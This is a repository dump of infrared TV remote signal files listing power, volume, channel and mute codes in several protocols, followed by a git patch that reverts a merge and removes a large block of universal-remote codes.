parsed +protocol: SIRC +address: 01 00 00 00 +command: 13 00 00 00 +# +name: CH+ +type: parsed +protocol: SIRC +address: 01 00 00 00 +command: 10 00 00 00 +# +name: CH- +type: parsed +protocol: SIRC +address: 01 00 00 00 +command: 11 00 00 00 +# +name: CH- +type: parsed +protocol: SIRC15 +address: 97 00 00 00 +command: 3C 00 00 00 +# +name: POWER +type: parsed +protocol: SIRC +address: 01 00 00 00 +command: 15 00 00 00 +# +name: VOL+ +type: parsed +protocol: SIRC +address: 01 00 00 00 +command: 12 00 00 00 +# +name: VOL- +type: parsed +protocol: SIRC +address: 01 00 00 00 +command: 13 00 00 00 +# +name: CH+ +type: parsed +protocol: SIRC +address: 01 00 00 00 +command: 10 00 00 00 +# +name: CH- +type: parsed +protocol: SIRC +address: 01 00 00 00 +command: 11 00 00 00 +# +name: MUTE +type: parsed +protocol: SIRC +address: 01 00 00 00 +command: 14 00 00 00 +Filetype: IR signals file +Version: 1 +# +name: VOL+ +type: parsed +protocol: NEC +address: 02 00 00 00 +command: 1F 00 00 00 +# +name: VOL- +type: parsed +protocol: NEC +address: 02 00 00 00 +command: 1E 00 00 00 +# +name: MUTE +type: parsed +protocol: NEC +address: 02 00 00 00 +command: 1C 00 00 00 +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: EA C7 00 00 +command: 17 E8 00 00 +# +name: VOL+ +type: parsed +protocol: NECext +address: EA C7 00 00 +command: 0F F0 00 00 +# +name: VOL- +type: parsed +protocol: NECext +address: EA C7 00 00 +command: 10 EF 00 00 +# +# +name: POWER +type: parsed +protocol: NECext +address: EA C7 00 00 +command: 17 E8 00 00 +# +name: POWER +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4009 3986 511 1987 517 1981 513 1985 519 1979 515 1009 493 1006 486 1986 518 1006 486 1987 517 1007 485 1987 517 1007 485 1014 488 1010 492 1007 485 1013 489 1984 510 1988 516 1008 494 1978 516 1008 494 1979 515 983 519 1979 515 8184 4015 3980 518 1980 514 1985 519 1979 515 1983 511 1013 489 1010 492 1980 514 1010 492 1980 514 1011 491 1981 513 1011 491 1007 485 1014 488 1010 492 1007 485 1987 517 1981 513 1012 490 1982 512 986 516 1983 511 1013 489 1983 511 8070 4015 3980 518 1981 513 1985 519 1979 515 1983 511 1014 488 1010 492 1980 514 1011 491 1981 513 1011 491 1981 513 1012 490 1008 494 1005 487 1011 491 1008 484 1988 516 1982 512 1012 490 1983 511 1013 489 1983 511 1014 488 1984 510 +# +name: VOL+ +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4009 3986 511 1988 516 1982 511 1987 517 1981 512 1012 490 1009 493 1979 514 1010 492 1981 512 1986 518 1980 513 1985 519 979 513 1012 490 1009 493 1006 486 1986 518 1981 512 985 517 1982 511 987 515 1010 492 1006 486 1013 489 8184 4013 3982 515 1983 510 1988 516 1982 511 1987 517 1007 485 1014 488 1985 519 1005 487 1986 518 1981 512 1986 518 1980 513 1011 491 1008 494 1004 488 1011 491 1982 511 1987 517 1007 485 1988 516 1009 493 1005 487 1012 490 1009 493 +# +name: VOL- +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4012 3982 514 1984 519 1979 514 1984 519 1979 514 983 519 980 512 1988 516 982 520 1979 514 1984 519 1978 515 983 519 980 511 987 515 983 519 980 511 1988 516 1982 511 987 515 1983 521 978 514 985 517 981 521 1978 515 +# +name: CH+ +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4012 3983 513 1985 518 1980 513 1985 518 1980 513 984 518 981 521 1978 515 983 519 1980 513 1984 520 979 512 1986 517 1007 484 1014 488 1011 491 1007 495 1978 515 1983 510 1014 488 1984 519 979 512 1012 490 1983 510 1014 488 8185 4011 3984 512 1986 518 1980 513 1985 518 1980 513 1011 491 1007 485 1988 516 982 520 1979 514 1984 519 1005 486 1986 517 981 510 1014 488 985 517 1007 495 1978 515 1983 510 1014 488 1985 518 1006 486 1013 489 1983 520 1004 487 +# +name: CH- +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4016 3980 516 1982 511 1987 516 1982 511 1987 516 982 520 1004 487 1986 517 980 511 1987 516 1982 511 1013 489 1010 492 1006 486 1013 489 984 518 1007 485 1988 516 1982 511 987 515 1984 519 1005 486 985 517 1982 511 1987 517 8182 4014 3981 515 1983 520 1978 515 1983 510 1988 515 982 520 979 512 1987 517 981 510 1988 516 1983 510 987 515 1010 492 981 521 978 513 985 517 981 521 1978 515 1983 520 978 514 1985 518 979 513 986 516 1983 520 1978 515 +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: EA C7 00 00 +command: 17 E8 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: EA C7 00 00 +command: 20 DF 00 00 +# +name: VOL+ +type: parsed +protocol: NECext +address: EA C7 00 00 +command: 0F F0 00 00 +# +name: VOL- +type: parsed +protocol: NECext +address: EA C7 00 00 +command: 10 EF 00 00 +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NEC +address: 40 00 00 00 +command: 12 00 00 00 +# +name: VOL+ +type: parsed +protocol: NEC +address: 40 00 00 00 +command: 1A 00 00 00 +# +name: VOL- +type: parsed +protocol: NEC +address: 40 00 00 00 +command: 1E 00 00 00 +# +name: MUTE +type: parsed +protocol: NEC +address: 40 00 00 00 +command: 10 00 00 00 +# +# +name: POWER +type: parsed +protocol: NECext +address: 02 7D 00 00 +command: 46 B9 00 00 +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NEC +address: 40 00 00 00 +command: 12 00 00 00 +# +name: VOL+ +type: parsed +protocol: NEC +address: 40 00 00 00 +command: 1A 00 00 00 +# +name: VOL- +type: parsed +protocol: NEC +address: 40 00 00 00 +command: 1E 00 00 00 +# +name: CH+ +type: parsed +protocol: NEC +address: 40 00 00 00 +command: 1B 00 00 00 +# +name: CH- +type: parsed +protocol: NEC +address: 40 00 00 00 +command: 1F 00 00 00 +# +name: MUTE +type: parsed +protocol: NEC +address: 40 00 00 00 +command: 10 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 02 7D 00 00 +command: 46 B9 00 00 +Filetype: IR signals file +Version: 1 +# +# +name: POWER +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 02 00 00 00 +# +name: VOL+ +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 07 00 00 00 +# +name: VOL- +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 0B 00 00 00 +# +name: MUTE +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 0F 00 00 00 +# +name: CH+ +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 12 00 00 00 +# +name: CH- +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 10 00 00 00 +# +name: POWER +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 08 00 00 00 +# +name: VOL+ +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 02 00 00 00 +# +name: VOL- +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 03 00 00 00 +# +name: CH+ +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 00 00 00 00 +# +name: CH- +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 01 00 00 00 +# +name: MUTE +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 09 00 00 00 +# +name: CH- +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 1A 00 00 00 +# +# +name: POWER +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 08 00 00 00 +# +name: CH+ +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 00 00 00 00 +# +name: CH- +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 01 00 00 00 +# +name: VOL+ +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 02 00 00 00 +# +name: VOL- +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 03 00 00 00 +# +name: MUTE +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 09 00 00 00 +# +name: CH- +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 1A 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 02 7D 00 00 +command: 46 B9 00 00 +# +name: VOL- +type: parsed +protocol: NECext +address: 02 7D 00 00 +command: 0C F3 00 00 +# +name: VOL- +type: parsed +protocol: NECext +address: 02 7D 00 00 +command: 19 E6 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 02 7D 00 00 +command: 4C B3 00 00 +# +name: CH+ +type: parsed +protocol: NECext +address: 02 7D 00 00 +command: 0F F0 00 00 +# +name: CH- +type: parsed +protocol: NECext +address: 02 7D 00 00 +command: 5A A5 00 00 From 6545f3165ea683dba80fadea22263a1bef76020e Mon Sep 17 00:00:00 2001 From: Eng1n33r <101719414+Eng1n33r@users.noreply.github.com> Date: Wed, 6 Jul 2022 16:11:43 +0300 Subject: [PATCH 366/461] Revert "Merge pull request #27 from UberGuidoZ/patch-2" This reverts commit 055da7e167fb7d78a514421a30ac8ee018b613db. --- assets/resources/infrared/assets/tv.ir | 1853 ------------------------ 1 file changed, 1853 deletions(-) diff --git a/assets/resources/infrared/assets/tv.ir b/assets/resources/infrared/assets/tv.ir index d6862d0cd..98292a8ec 100755 --- a/assets/resources/infrared/assets/tv.ir +++ b/assets/resources/infrared/assets/tv.ir @@ -1,11 +1,6 @@ Filetype: IR library file Version: 1 # -# Recompiled Universal Remote for ALL buttons! -# (Now includes Volume and Channel brute forcing) -# -# Compiled by Hyper_Mash with support/testing from UberGuidoZ -# name: POWER type: parsed protocol: SIRC @@ -1589,1851 +1584,3 @@ type: raw frequency: 38000 duty_cycle: 0.33 data: 7847 3931 470 1448 467 495 472 1443 472 490 467 1451 464 491 466 499 468 491 466 4413 467 1455 470 486 471 1449 466 495 472 1441 464 501 466 492 465 494 463 22093 7851 3934 467 1454 471 490 467 1446 469 496 471 1446 469 489 468 494 473 484 473 4410 470 1449 466 489 468 1455 470 489 468 1449 466 496 471 486 471 490 467 -# -name: POWER -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 0A F5 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 01 72 00 00 -command: 1E E1 00 00 -# -name: CH+ -type: parsed -protocol: NECext -address: 01 72 00 00 -command: 48 B7 00 00 -# -name: CH- -type: parsed -protocol: NECext -address: 01 72 00 00 -command: 44 BB 00 00 -# -name: VOL+ -type: parsed -protocol: NECext -address: 01 72 00 00 -command: 0A F5 00 00 -# -name: VOL- -type: parsed -protocol: NECext -address: 01 72 00 00 -command: 06 F9 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 01 72 00 00 -command: 5C A3 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 0F F0 00 00 -# -name: VOL+ -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 0C F3 00 00 -# -name: VOL- -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 0D F2 00 00 -# -name: CH+ -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 0A F5 00 00 -# -name: CH- -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 0B F4 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 0E F1 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 0F F0 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 0E F1 00 00 -# -name: VOL+ -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 0C F3 00 00 -# -name: VOL- -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 0D F2 00 00 -# -name: CH+ -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 0A F5 00 00 -# -name: CH- -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 0B F4 00 00 -# -# -name: POWER -type: parsed -protocol: NECext -address: 02 7D 00 00 -command: 46 B9 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 02 7D 00 00 -command: 4C B3 00 00 -# -name: CH+ -type: parsed -protocol: NECext -address: 02 7D 00 00 -command: 0F F0 00 00 -# -name: CH- -type: parsed -protocol: NECext -address: 02 7D 00 00 -command: 5A A5 00 00 -# -name: VOL+ -type: parsed -protocol: NECext -address: 02 7D 00 00 -command: 0C F3 00 00 -# -name: VOL- -type: parsed -protocol: NECext -address: 02 7D 00 00 -command: 19 E6 00 00 -# -name: CH- -type: parsed -protocol: NECext -address: 02 7D 00 00 -command: 41 BE 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 02 7D 00 00 -command: 46 B9 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 02 7D 00 00 -command: 4C B3 00 00 -# -name: VOL- -type: parsed -protocol: NECext -address: 02 7D 00 00 -command: 42 BD 00 00 -# -name: VOL+ -type: parsed -protocol: NECext -address: 02 7D 00 00 -command: 0C F3 00 00 -# -name: VOL- -type: parsed -protocol: NECext -address: 02 7D 00 00 -command: 19 E6 00 00 -# -name: CH+ -type: parsed -protocol: NECext -address: 02 7D 00 00 -command: 0F F0 00 00 -# -name: CH- -type: parsed -protocol: NECext -address: 02 7D 00 00 -command: 5A A5 00 00 -# -name: CH- -type: parsed -protocol: NECext -address: 02 7D 00 00 -command: 57 A8 00 00 -# -name: VOL+ -type: parsed -protocol: NECext -address: 02 7D 00 00 -command: 15 EA 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 02 7D 00 00 -command: 46 B9 00 00 -# -name: VOL- -type: parsed -protocol: NECext -address: 02 7D 00 00 -command: 42 BD 00 00 -# -name: VOL+ -type: parsed -protocol: NECext -address: 02 7D 00 00 -command: 0C F3 00 00 -# -name: VOL- -type: parsed -protocol: NECext -address: 02 7D 00 00 -command: 19 E6 00 00 -# -name: CH+ -type: parsed -protocol: NECext -address: 02 7D 00 00 -command: 0F F0 00 00 -# -name: CH- -type: parsed -protocol: NECext -address: 02 7D 00 00 -command: 5A A5 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 02 7D 00 00 -command: 4C B3 00 00 -# -name: VOL- -type: parsed -protocol: NECext -address: 02 7D 00 00 -command: 15 EA 00 00 -# -# -name: POWER -type: parsed -protocol: NECext -address: 84 E0 00 00 -command: 20 DF 00 00 -# -name: CH+ -type: parsed -protocol: NECext -address: 84 E0 00 00 -command: 50 AF 00 00 -# -name: CH- -type: parsed -protocol: NECext -address: 84 E0 00 00 -command: 51 AE 00 00 -# -name: VOL+ -type: parsed -protocol: NECext -address: 84 E0 00 00 -command: 60 9F 00 00 -# -name: VOL- -type: parsed -protocol: NECext -address: 84 E0 00 00 -command: 61 9E 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 84 E0 00 00 -command: 64 9B 00 00 -# -name: CH- -type: parsed -protocol: NECext -address: 84 E0 00 00 -command: 57 A8 00 00 -# -# -name: POWER -type: parsed -protocol: NEC -address: 6E 00 00 00 -command: 02 00 00 00 -# -name: VOL+ -type: parsed -protocol: NEC -address: 6E 00 00 00 -command: 06 00 00 00 -# -name: VOL- -type: parsed -protocol: NEC -address: 6E 00 00 00 -command: 0C 00 00 00 -# -name: CH+ -type: parsed -protocol: NEC -address: 6E 00 00 00 -command: 08 00 00 00 -# -name: CH- -type: parsed -protocol: NEC -address: 6E 00 00 00 -command: 0E 00 00 00 -# -name: MUTE -type: parsed -protocol: NEC -address: 6E 00 00 00 -command: 04 00 00 00 -# -# -# -name: POWER -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 4000 4000 500 2000 500 2000 500 2000 500 2000 500 1000 500 1000 500 2000 500 1000 500 2000 500 1000 500 2000 500 1000 500 1000 500 1000 500 1000 500 1000 500 2000 500 2000 500 1000 500 2000 500 1000 500 2000 500 1000 500 2000 500 8500 4000 4000 500 -# -name: MUTE -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 4000 4000 500 2000 500 2000 500 2000 500 2000 500 1000 500 1000 500 2000 500 2000 500 2000 500 2000 500 2000 500 2000 500 1000 500 1000 500 1000 500 1000 500 2000 500 2000 500 1000 500 1000 500 1000 500 1000 500 1000 500 1000 500 8500 4000 4000 500 -# -name: VOL+ -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 4000 4000 500 2000 500 2000 500 2000 500 2000 500 1000 500 1000 500 2000 500 1000 500 2000 500 2000 500 2000 500 2000 500 1000 500 1000 500 1000 500 1000 500 2000 500 2000 500 1000 500 2000 500 1000 500 1000 500 1000 500 1000 500 8500 4000 4000 500 -# -name: VOL- -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 4000 4000 500 2000 500 2000 500 2000 500 2000 500 1000 500 1000 500 2000 500 1000 500 2000 500 2000 500 2000 500 1000 500 1000 500 1000 500 1000 500 1000 500 2000 500 2000 500 1000 500 2000 500 1000 500 1000 500 1000 500 2000 500 8500 4000 4000 500 -# -name: CH+ -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 4000 4000 500 2000 500 2000 500 2000 500 2000 500 1000 500 1000 500 2000 500 1000 500 2000 500 2000 500 1000 500 2000 500 1000 500 1000 500 1000 500 1000 500 2000 500 2000 500 1000 500 2000 500 1000 500 1000 500 2000 500 1000 500 8500 4000 4000 500 -# -name: CH- -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 4000 4000 500 2000 500 2000 500 2000 500 2000 500 1000 500 1000 500 2000 500 1000 500 2000 500 2000 500 1000 500 1000 500 1000 500 1000 500 1000 500 1000 500 2000 500 2000 500 1000 500 2000 500 1000 500 1000 500 2000 500 2000 500 8500 4000 4000 500 -# -name: CH- -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 4000 4000 500 2000 500 2000 500 2000 500 2000 500 2000 500 2000 500 1000 500 2000 500 2000 500 2000 500 2000 500 1000 500 1000 500 1000 500 1000 500 1000 500 1000 500 1000 500 2000 500 1000 500 1000 500 1000 500 1000 500 2000 500 8500 4000 4000 500 -# -# -name: POWER -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 08 00 00 00 -# -name: VOL+ -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 02 00 00 00 -# -name: VOL- -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 03 00 00 00 -# -name: MUTE -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 09 00 00 00 -# -name: CH+ -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 00 00 00 00 -# -name: CH- -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 01 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 0F F0 00 00 -# -name: VOL- -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 0C F3 00 00 -# -name: VOL- -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 0D F2 00 00 -# -name: MUTE -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 09 00 00 00 -# -name: POWER -type: parsed -protocol: NEC -address: 50 00 00 00 -command: 17 00 00 00 -# -name: MUTE -type: parsed -protocol: NEC -address: 50 00 00 00 -command: 0B 00 00 00 -# -name: VOL+ -type: parsed -protocol: NEC -address: 50 00 00 00 -command: 12 00 00 00 -# -name: VOL- -type: parsed -protocol: NEC -address: 50 00 00 00 -command: 15 00 00 00 -# -name: CH+ -type: parsed -protocol: NEC -address: 50 00 00 00 -command: 19 00 00 00 -# -name: CH- -type: parsed -protocol: NEC -address: 50 00 00 00 -command: 18 00 00 00 -# -# -name: POWER -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 0F F0 00 00 -# -name: CH+ -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 0A F5 00 00 -# -name: CH- -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 0B F4 00 00 -# -name: VOL+ -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 0C F3 00 00 -# -name: VOL- -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 0D F2 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 0E F1 00 00 -# -name: POWER -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 08 00 00 00 -# -name: VOL+ -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 02 00 00 00 -# -name: VOL- -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 03 00 00 00 -# -name: POWER -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 08 00 00 00 -# -name: MUTE -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 09 00 00 00 -# -name: VOL- -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 03 00 00 00 -# -name: VOL+ -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 02 00 00 00 -# -name: CH+ -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 00 00 00 00 -# -name: CH- -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 01 00 00 00 -# -name: POWER -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 08 00 00 00 -# -name: VOL+ -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 02 00 00 00 -# -name: VOL- -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 03 00 00 00 -# -name: CH+ -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 00 00 00 00 -# -name: CH- -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 01 00 00 00 -# -name: MUTE -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 09 00 00 00 -# -name: POWER -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 08 00 00 00 -# -name: CH+ -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 00 00 00 00 -# -name: CH- -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 01 00 00 00 -# -name: VOL+ -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 02 00 00 00 -# -name: VOL- -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 03 00 00 00 -# -# -name: POWER -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 08 00 00 00 -# -name: CH+ -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 00 00 00 00 -# -name: CH- -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 01 00 00 00 -# -name: VOL+ -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 02 00 00 00 -# -name: VOL- -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 03 00 00 00 -# -# -name: POWER -type: parsed -protocol: NECext -address: 85 7C 00 00 -command: 80 7F 00 00 -# -# -name: VOL+ -type: parsed -protocol: NECext -address: 85 7C 00 00 -command: 8F 70 00 00 -# -name: VOL- -type: parsed -protocol: NECext -address: 85 7C 00 00 -command: 93 6C 00 00 -# -name: CH+ -type: parsed -protocol: NECext -address: 85 7C 00 00 -command: 8D 72 00 00 -# -name: CH- -type: parsed -protocol: NECext -address: 85 7C 00 00 -command: 91 6E 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 85 7C 00 00 -command: 97 68 00 00 -# -name: CH- -type: parsed -protocol: NECext -address: 85 7C 00 00 -command: 96 69 00 00 -Filetype: IR signals file -Version: 1 -# -name: POWER -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 8073 3997 524 502 495 505 492 1508 498 503 494 1505 501 1500 495 1504 491 1510 496 3988 522 502 495 1505 501 501 496 504 493 1507 499 502 495 1505 501 501 496 18806 8072 3997 524 502 495 505 492 1507 499 502 495 1505 490 1509 497 1504 491 1510 496 3988 522 502 495 1505 501 500 497 503 494 1506 500 501 496 1504 491 510 498 18806 8072 3998 523 503 494 506 491 1509 497 504 493 1506 499 1501 494 1506 500 1502 493 3989 522 504 493 1507 499 502 495 505 492 1508 498 503 494 1506 499 502 495 18807 8072 3998 523 503 494 506 491 1509 497 504 493 1506 500 1501 494 1506 500 1502 493 3989 521 503 494 1506 500 502 495 505 492 1508 498 503 494 1506 500 502 495 18807 8072 3998 523 502 495 505 492 1508 498 503 494 1505 501 1500 495 1504 491 1510 496 3988 523 502 495 1505 501 501 496 503 494 1506 500 501 496 1504 491 510 498 -# -name: POWER -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 8065 4004 517 509 499 502 495 1505 501 500 497 1502 493 1507 498 1476 519 1482 523 3984 526 499 498 1502 493 1507 498 1477 518 507 501 500 497 1503 492 509 499 17804 8064 4004 516 510 498 503 494 1505 500 501 496 1503 492 1508 497 1503 492 1484 521 3986 524 501 496 1503 492 1508 497 1503 492 509 499 502 495 1505 500 502 495 17808 8071 3999 522 504 493 507 501 1500 495 506 491 1508 497 1502 493 1507 498 1503 492 3991 519 506 491 1508 497 1503 492 1508 497 504 493 507 501 1499 496 506 491 17814 8065 4006 525 500 497 504 493 1507 498 502 495 1504 491 1509 496 1504 491 1510 496 3987 523 502 495 1504 502 1499 496 1504 501 500 497 503 494 1506 499 502 495 17807 8072 3997 524 502 495 505 492 1508 497 503 494 1505 501 1499 496 1479 516 1485 520 3987 523 501 496 1504 491 1509 496 1479 516 510 498 503 494 1505 500 502 495 17806 8073 3996 525 501 496 505 492 1507 498 503 494 1505 500 1499 496 1479 516 1485 520 3987 523 502 495 1504 501 1499 496 1479 516 510 498 503 494 1506 499 502 495 -# -name: VOL+ -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 8069 3998 522 503 494 506 491 1509 496 505 492 1507 498 1501 494 1506 499 1502 493 3989 521 1503 492 1508 497 1503 492 508 500 1501 494 506 491 510 498 504 493 17810 8067 4003 517 508 500 501 496 1504 491 510 498 1502 493 1507 498 1501 494 1508 497 3984 526 1474 521 1504 501 1500 495 505 492 1509 496 505 492 508 500 502 495 17809 8069 4000 520 506 491 509 499 1501 494 507 501 1499 496 1503 492 1508 497 1504 491 3991 519 1480 525 1500 495 1505 500 500 497 1503 492 509 499 503 494 507 490 17809 8069 3999 521 505 492 508 500 1500 495 506 491 1508 497 1502 493 1507 498 1503 492 3990 520 1504 491 1509 496 1504 491 509 499 1501 494 507 501 501 496 505 492 17808 8070 3998 523 503 494 506 491 1509 496 504 493 1507 498 1501 494 1506 499 1502 493 3988 522 1502 493 1507 498 1502 493 507 501 1500 495 505 492 509 499 502 495 -# -name: VOL- -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 8066 4002 519 507 501 500 497 1503 492 508 500 1500 495 1480 525 1475 520 1506 499 3983 517 508 500 1500 495 1481 524 501 496 1504 491 510 498 503 494 507 501 18803 8073 3997 524 503 494 506 491 1483 522 504 493 1506 499 1476 519 1482 523 1478 517 3989 521 504 493 1482 523 1478 517 508 500 1476 519 507 501 500 497 505 492 18809 8066 4003 517 508 500 501 496 1503 492 509 499 1501 494 1480 525 1475 520 1481 524 3983 516 509 499 1501 494 1482 523 502 495 1505 500 500 497 504 493 508 500 -# -name: MUTE -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 8069 4000 520 480 517 508 500 1500 495 505 492 1508 497 1502 493 1506 499 1502 493 3989 521 1503 492 1509 496 503 494 1506 499 1501 494 506 491 510 498 504 493 17807 8072 3997 524 501 496 505 492 1508 497 502 495 1505 500 1499 496 1504 491 1510 495 3986 524 1500 495 1506 499 500 497 1503 492 1508 497 503 494 507 501 501 496 17804 8064 4004 517 509 499 501 496 1504 491 509 499 1500 495 1505 500 1499 496 1505 500 3980 520 1505 500 1500 495 505 492 1508 497 1502 493 508 500 501 496 505 492 17807 8072 3995 526 500 497 503 494 1506 499 501 496 1504 491 1508 497 1503 492 1509 496 3985 515 1509 496 1503 492 508 500 1500 495 1506 499 501 496 505 492 509 499 17803 8065 4003 518 508 500 501 496 1504 491 509 499 1502 493 1507 498 1502 493 1508 497 3985 525 1500 495 1505 500 500 497 1503 492 1508 497 504 493 508 500 501 496 -# -name: CH+ -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 8064 4006 525 501 496 504 493 1507 498 502 495 1505 500 1499 496 1504 501 1500 495 3987 523 1501 494 1507 498 502 495 505 492 1508 497 1503 492 509 499 503 494 17808 8069 4000 520 505 492 508 500 1500 495 506 491 1508 497 1503 492 1508 497 1504 491 3991 519 1505 500 1501 494 507 501 500 497 1502 493 1508 497 503 494 508 500 17803 8064 4006 525 501 496 504 493 1507 498 503 494 1505 500 1500 495 1505 500 1500 495 3988 522 1502 493 1507 498 503 494 506 491 1508 497 1503 492 509 499 503 494 -# -name: CH- -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 8068 3999 521 504 493 507 501 1498 497 504 493 1505 500 1475 520 1479 526 1500 495 3987 523 502 495 1505 500 501 496 504 493 1506 499 1501 494 507 501 500 497 18802 8072 3996 524 502 495 505 492 1507 498 503 494 1505 500 1475 520 1480 525 1476 519 3987 523 501 496 1504 491 510 498 502 495 1504 501 1475 520 505 492 509 498 18798 8065 4001 519 507 501 499 498 1502 493 507 501 1499 496 1504 501 1473 522 1504 501 3981 518 506 491 1509 496 505 492 508 499 1500 495 1505 500 500 497 505 492 18808 8065 4001 519 507 501 500 497 1503 492 508 499 1500 495 1505 500 1499 496 1506 499 3983 516 508 499 1501 494 507 501 500 497 1502 493 1508 497 504 493 508 500 -# -name: VOL- -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 8065 4005 525 500 497 503 494 1506 499 501 496 1504 491 1508 497 1503 492 1509 496 3985 524 1500 495 506 491 510 497 503 494 506 491 1509 496 505 492 509 498 19801 8067 3999 521 504 493 507 500 1500 495 505 492 1508 497 1502 493 1507 498 1503 492 3989 520 1504 501 500 497 504 493 507 500 500 497 1503 492 509 498 503 494 19804 8064 4005 525 500 497 503 494 1506 499 502 495 1504 501 1499 496 1504 501 1501 494 3987 522 1503 492 509 498 502 495 505 492 508 499 1501 494 507 500 501 496 19800 8067 3999 520 505 492 508 499 1500 495 506 491 1508 497 1502 493 1507 498 1502 493 3988 521 1503 492 509 498 502 495 506 491 509 498 1501 494 507 500 